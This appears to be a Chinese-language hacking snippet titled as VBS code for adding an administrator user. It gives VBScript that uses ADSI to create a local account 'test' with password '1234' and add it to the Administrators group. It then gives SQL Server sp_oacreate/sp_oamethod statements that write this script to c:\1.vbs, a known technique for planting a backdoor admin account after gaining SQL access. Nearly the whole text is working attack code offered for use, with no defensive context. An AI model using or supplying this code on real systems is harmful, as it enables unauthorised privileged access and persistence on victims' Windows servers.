vbs加administrator用户的代码 |
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) 得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") 属性,admin组 Set od=ob.Create("user","test") 建立用户 od.SetPassword "1234" 设置密码 od.SetInfo 保存 Set of=GetObject(os&"/test",user) 得到用户 oe.add os&"/test" SQL语句如下,采用sp_oamethod过程: declare @o int, @f int, @ret int exec sp_oacreate scripting.filesystemobject, @o out exec sp_oamethod @o, createtextfile, @f out, c:\1.vbs, 1 exec @ret = sp_oamethod @f, writeline, NULL,set wsnetwork=CreateObject ("WSCRIPT.NETWORK") exec @ret = sp_oamethod @f, writeline, NULL,os="WinNT://"&wsnetwork. ComputerName exec @ret = sp_oamethod @f, writeline, NULL,Set ob=GetObject(os) exec @ret = sp_oamethod @f, writeline, NULL,Set oe=GetObject (os&"/Administrators,group") exec @ret = sp_oamethod @f, writeline, NULL,Set od=ob.Create ("user","test") exec @ret = sp_oamethod @f, writeline, NULL,od.SetPassword "1234" exec @ret = sp_oamethod @f, writeline, NULL,od.SetInfo exec @ret = sp_oamethod @f, writeline, NULL,Set of=GetObject (os&"/test",user) exec @ret = sp_oamethod @f, writeline, NULL,oe.add os&"/test" |